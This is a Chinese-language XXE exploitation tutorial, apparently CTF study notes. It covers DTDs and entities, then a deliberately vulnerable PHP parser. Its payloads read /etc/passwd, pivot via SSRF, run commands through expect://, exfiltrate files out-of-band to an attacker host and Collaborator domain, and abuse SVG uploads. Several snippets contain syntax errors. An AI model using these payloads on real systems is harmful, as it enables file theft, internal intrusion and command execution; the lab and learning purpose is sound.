XXE漏洞利用

学习XXE首先了解XML语言:

XML是一种标记语言。他是用来把数据结构化然后传输给对方,让对方在结构化的数据中进行读取的。

XML和HTML的区别:

XML HTML
功能:数据读取 功能:开发
标签无意义 标签预定义
传输和存储数据 显示数据
焦点:数据的内容 焦点:数据的外观

我们的xml标签是没有意义的,也就是说你可以随意命名。

既然我们的标签没有意义,那么我们的注入怎么来呢?

就是通过外部DTD声明。

DTD (Doucument Type Definition)

文档类型定义,可定义合法的XML文档构建模块,它使用一系列合法的元素来定义文档的结构。在XML中DTD就是来定义我们自定义元素的相关属性的文档,它规定、约束XML规则的定义和陈述,DTD可被成行地声明于XML文档中,也可作为一个外部引用。

XML文档内部定义的是内定义,例如:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
                               <!-- DOCTYPE用来约束XML规则 --> 
    <!ELEMENT root (man)>      <!-- !ELEMENT定义root下有一个分支叫做man -->
    <!ELEMENT man (name,age)>  <!-- 定义man根下有两个分支叫做name和age -->
    <!ELEMENT name (#PCDATA)>  <!-- #PCDATA意味着name里面只能是字符串 -->
]>
<root>
	<man>
    	<name>leyi</name>
        <age>18</age>
        <extra>114514</extra>  <!-- 多余的会报错,但页面仍可正常打开 -->
    </man>
	<man>
    	<name>晓堃</name>
        <age>18</age>
    </man>
</root>

除了!ELEMENT,我们还有其他的DTD声明标记,比如:

<!DOCTYPE root [
    <!ELEMENT ... >      <!-- 元素声明,定义元素 -->
    <!ATTLIST ... >      <!-- 属性声明,定义元素的属性 -->
    <!ENTITY ... >       <!-- 实体声明,定义实体,可被XML文档引用(常用) -->
    <!NOTATION ... >     <!-- 符号声明,定义不被解释为元素或属性的符号 -->
]>

除了内部引用呢,我们还可以写一个DTD文件进行外部引用。例如:

XML文件:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root SYSTEM "1.dtd">
<root>
	<man>
    	<name>leyi</name>
        <age>18</age>
		<extra>114514</extra>
    </man>
	<man>
    	<name>晓堃</name>
        <age>18</age>
    </man>
</root>

1.dtd文件:

<!ELEMENT root (man)>
<!ELEMENT man (name,age)>
<!ELEMENT name (#PCDATA)>

SYSTEM读取1.dtd文件DTD声明,当然也可以读取其他的外部文件,比如flag , etc/passwd等。这就存在一个任意读取漏洞,既然可以读取,那么我们怎么把读取到的文件展示出来呢?且看漏洞原理

XML实体

实体是什么呢?实体就是对数据的引用;根据实体种类的不同,XML解析器会将使用实体的替代文本或者外部文档的内容来替代实体引用。

陈腾老师:就比如说“菊花”这个词,如果我们在花艺课上讲菊花,那你就会认为是菊花,一种花。”采菊东篱下,悠然见南山”的那个菊花。如果是在一个没有约束的情况下,两个小伙子之间脱口而出一个菊花,哦哟,那这个就意义深刻了。

实体分类表

实体类型 语法格式 引用方式 主要用途 示例
预定义实体 内置定义 < > 转义XML保留字符 &lt; 代表 <
字符实体 Unicode编码 A A 表示特殊字符 &#169; 代表 ©
内部实体 <!ENTITY 名 "值"> &实体名; 定义文本片段 <!ENTITY author "张三">
外部实体 <!ENTITY 名 SYSTEM "URI"> &实体名; 引用外部文件内容 <!ENTITY logo SYSTEM "logo.txt">
参数实体 <!ENTITY % 名 "值"> %实体名; DTD内部代码复用 <!ENTITY % common "name,age">
命名实体 无固定语法格式(自然语言) 直接出现在文本中 标识专有名词 “张三”(人名)、“北京”(地名)

预定义实体

例如&lt;代表<,&gt;代表>,&amp代表&,&apos;代表',&quot代表"

命名实体

类似变量,比如:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE author [
		<!ELEMENT author (#PCDATA)>
		<!ELEMENT writer "Triode">
		<!ELEMENT copyright "&#169";>
		]>
<author>&writer;&copyright;</author>

这里面的&writer;就会被实际渲染为Triode

如果一个网站能够解析我们的XML,那么我们就可以读取目标内容赋值到一个实体上,然后给我们展示出来。这样我们就达成了一个最基础的漏洞逻辑。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE author [
		<!ELEMENT author (#PCDATA)>
		<!ELEMENT writer "Triode">
		<!ELEMENT copyright "&writer;&#169";>
		]>
<author>&copyright;</author>

实体可以迭代调用,这段语句实际渲染出来的效果和上面是一样的。

参数实体

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE author [
		<!ELEMENT residence (name, street, pincode, city, phone)>
		<!ELEMENT apartment (name, street, pincode, city, phone)>
		<!ELEMENT office (name, street, pincode, city, phone)>
        <!ELEMENT shop (name, street, pincode, city, phone)>
		]>
<author>
	<residence><name></name>...</residence>
</author>

我们通过参数实体就可以把上面的语段简化为

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE author [
        <!ENTITY % area "name, street, pincode, city"》
		<!ELEMENT residence (%area;)>
		<!ELEMENT apartment (%area;)>
		<!ELEMENT office (%area;)>
        <!ELEMENT shop (%area;)>
		]>
<author>
	<residence><name></name>...</residence>
</author>

XXE漏洞

<?php
error_reporting(0);
libxml_disable_entity_loader(false); // 允许加载外部实体(开启XXE漏洞😈)
$xml = file_get_contents('php://input'); //调用php伪协议,读取POST请求的原始数据(XML格式)
if(isset($xml)){
	$dom = new DOMDocument(); //DOMdocument()函数读取解析xml文件结构
	$dom->loadXML($xml,LIBXML_NOENT | LIBXML_DTDLOAD); //加载XML,启用实体解析和DTD加载
	$creds = simplexml_import_dom($dom);  //将DOM对象转换为SimpleXML对象
	$benben = $creds->admin; //获取XML中的<admin>元素的值
	echo $benben; //输出admin元素的内容
}
highlight_file(__FILE__);
?>

比如这道题目的源码。在burpsuite里面把Content-Type改成application/xml;charset=utf-8

通过POST方式传入

<root><admin>114514</admin></root>

在页面上就会显示出114514,代码调用了<admin>节点

那么我们通过POST方式传入

<!DOCTYPE root [<!ENTITY KFC SYSTEM "file:///etc/passwd">]>
<McDonalds><admin>&KFC;</admin></McDonalds>

就可以成功读取到ect/passwd里面的内容!

不同语言调用不一样的伪协议

LIBXML2 PHP JAVA .NET
file file file file
http http http http
ftp ftp https https
php ftp ftp
compress.Zlib jar ftps
compress.bzip2 netdoc smb
data mailto zip
glob gopher* rar
phar zip

有回显的XXE漏洞

我们可以通过 查看源代码BP抓数据包修改Content-TypePOC测试 等方法来发现XXE漏洞。

比如在一个有回显用户名的登录界面,我们传入这个

<!DOCTYPE root [<!ENTITY KFC SYSTEM "file:///etc/passwd">]>

然后把回显位(用户名)换成 &KFC; 就能回显信息。不难理解

利用参数实体及外部实体读取文件

参数实体只有在dtd内部才能被调用。当file伪协议被waf时,假设我们有三台机器,我们可以这样操作。

这三台主机是attacker,kali,XXE靶机。

既然我们不能直接使用file伪协议,那么我们就用http伪协议,让服务器去我们的kali服务器上读取dtd文件。

这样,本质上我们把原来的<!DOCTYPE root [<!ENTITY KFC SYSTEM "file:///etc/passwd">]>拆成了两部分

attacker端向XXE靶机发送<!DOCTYPE root [<!ENTITY % KFC SYSTEM "http://x.x.x.x/1.dtd"> %KFC; ]>当然这里面是不存在file的,所以不会被waf拦截。我们通过SYSTEM让靶机去下载我们kali上写好的dtd:<!ENTITY mcd SYSTEM "file:///etc/passwd" >,从而让靶机把目标内容写在命名实体&mcd;里面

附:在kali上开放服务的方法

cd /tmp  //转到/tmp目录
vim 1.dtd //通过vim编辑我们的1.dtd
<!ENTITY ben SYSTEM "file:///etc/passwd" //写入内容,:wq保存并退出
python3 -m http.server 80 //开放80端口
ip add //查询ip(当然我们需要一个公网ip)

利用XXE进行SSRF利用

既然我们可以利用http伪协议,那么我们可以通过这个XXE靶机作为一个跳板机来发起请求。

比如在某些情况下,我们因为防火墙或内网原因,无法访问目标主机,那么我们可以通过XXE来劫持一个机器A来访问我们的目标主机。如图

ssrf

A和B在一个局域网里。同样的,我们在请求体里写入:(假设B的内网ip地址是10.1.2.5)

<!DOCTYPE root [<!ENTITY KFC SYSTEM "http://10.1.2.3"]

理想情况下,应答体里面会回复:请输入要执行的命令,例如:http://ip/?cmd=ls 我们就可以愉快地RCE了

利用PHP伪协议读取文件

相较于file伪协议,PHP伪协议可以对读取出的文件进行数据编码。(也就是说会读取到源代码)

使用PHP伪协议,对目标数据进行base64编码来读取是惯用手法()

我们利用SSRF漏洞,使用http伪协议的cat命令来读取源代码是行不通的,因为页面会被解析导致看不到

那我们就得用

<!DOCTYPE root [<!ENTITY KFC SYSTEM
"php://filter/read=convert.base64-encode/resource=/etc/passwd">]>

filter 文件过滤器 read 读取 convert.base64-encode 以base64编码 resource 指定源文件

叠加之前的环境,payload就是

<!DOCTYPE root [<!ENTITY KFC SYSTEM "php://filter/read=convert.base64-encode/resource=http://10.1.2.3/?cmd=cat+index.php">]>

利用expect扩展进行命令执行

http://php:// 等PHP内置的协议不同,expect:// 是一个需要额外安装 Expect 扩展才能使用的PHP流封装协议。它的核心作用是调用系统命令,并能自动处理命令执行过程中出现的交互式提示(例如输入密码或确认[y/n]),从而实现与命令行程序的自动化交互。在CTF竞赛中,由于 Expect 扩展并非默认安装,所以 expect:// 的出场率远低于 file://php://filter 等协议。但是,当目标环境开启了 Expect 扩展,且常规的文件读取或包含协议被禁用时,可以进一步尝试使用 expect:// 协议直接执行系统命令。

<!DOCTYPE root [<!ENTITY KFC SYSTEM "expect://id">]>

这样就可以执行id命令,当然也可以执行ls等命令。

但是在expect伪协议中出现这七个字符会被拒绝:

 空格 ""双引号 |管道符 {}大括号 \反斜杠 <>尖括号 :冒号

那我们想要执行cat /flag怎么办呢?答曰:cat$IFS/flag

无回显XXE带外数据

步骤:一、验证XXE漏洞是否存在(DNSLOG/Collaborator) 二、带外数据(把数据带出来)

验证XXE漏洞是否存在

在拦截下数据包后,我们插入

<!DOCTYPE root [<!ENTITY % file SYSTEM "http://gj3m16xxxxxxx.burpcollaborator.net">%file;]>

插入DNS查询动作,我们可以通过查询这个域名的DNS解析记录,来查看目标靶机是否存在XXE漏洞

或者我们去搞个公网ip开放端口查看请求记录,如果有记录说明靶机是请求了我们的地址,存在漏洞

带外数据

尝试构造payload

<!DOCTYPE test [
	<!ENTITY % file SYSTEM "file:///etc/passwd"]>
	<!ENTITY % send SYSTEM "http://gj3m16xxxxxxx.burpcollaborator.net/%file;">%send;
]>

XXE,轻而易举啊!

坏了坏了,怎么啥都没有啊,XML怎么没调用?

内部DTD禁止参数实体内再次调用参数实体,我们在%send参数实体里面调用了%file参数实体,所以不能调用。

外部DTD可以重复调用参数实体,允许参数实体调用其他参数实体。就是我们要再搞个外部机器(kali),装着dtd文件,然后让靶机去读取我们kali里面的实体。

首先,1.dtd:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!-- 因为直接用file伪协议读取,会导致遇到换行符显示不全,所以要这样做 -->
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.3.110:7777/?p=%file;'>">
<!-- http会给前面的百分号解码,所以要写成实体(假设我们的kali地址是192.168.3.110:7777) -->

带外数据:

<!DOCTYPE conver [<!ENTITY % remote SYSTEM "http://192.168.3.110/1.dtd">%remote; %int; %send;]>

调用%remote和%int就相当于把1.dtd的内容写入参数里面,%send发送我们的数据。

Xinclude

xml include类似文件包含,我们可以定义功能函数,重复调用,增加代码的简洁性和可读性

php引用函数:<?php include('/file.php')

xinclude:

<?xml version="1.0"?>
<webpage xmlns:xi="http://www.w3.org/2003/XInclude">
    <body>Hello world!</body>
    <xi:include href="templates/footer.xml"/>
</webpage>

调用templates/目录下的文件footer.xml的页脚xml文件

页脚文件类似<footer>© Contoso Corp,2003</footer>

最后渲染出来的:

<webpage>
	<body>Hello world!</body>
	<footer>© Contoso Corp,2003</footer>
</webpage>

外部实体无法成为一个成熟独立的XML文档,因为它既不允许独立的XML声明,也不允许Doctype声明。

xinclude 可以调用一个独立完整的XML内容。

外部实体的限制

<!-- 错误示范:外部实体不能这样写 -->
<!ENTITY good SYSTEM "good.xml">
<!-- good.xml 内容: -->
<?xml version="1.0"?>  <!-- ❌ 不能有XML声明 -->
<!DOCTYPE good [...]>  <!-- ❌ 不能有DOCTYPE -->
<data>test</data>      <!-- ❌ 不能有根元素 -->

XInclude的自由

<!-- 正确示范:XInclude可以这样用 -->
<root xmlns:xi="http://www.w3.org/2001/XInclude">
    <xi:include href="good.xml"/>
</root>
<!-- good.xml 内容(完全合法) -->
<?xml version="1.0"?>  <!-- ✅ 可以有 -->
<!DOCTYPE good [...]>  <!-- ✅ 可以有 -->
<good>                 <!-- ✅ 必须有根元素 -->
    <data>test</data>
</good>

使用SVG进行XXE漏洞利用

SVG,可缩放矢量图形(Scalable Vector Graphics)基于XML标记语言,用于描述二维的矢量图形,是一种图片格式

这就意味着我们的SVG文件是可以用文档编辑器直接打开的,可以看到XML语言。

我们可以通过SVG文件进行XXE漏洞利用,从而读取文件(比如某些文件上传题目)

SVG payload belike:

<?xml version="1.0" standalone="yes"?>
	<!DOCTYPE svg [
	 	<!ENTITY xxe SYSTEM "file:flag.txt" >
	]>
	<svg width="500px" height="100px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
	<text font-family="Verdana" font-size="16" x="10" y="40">&xxe;</text></svg>

新年快乐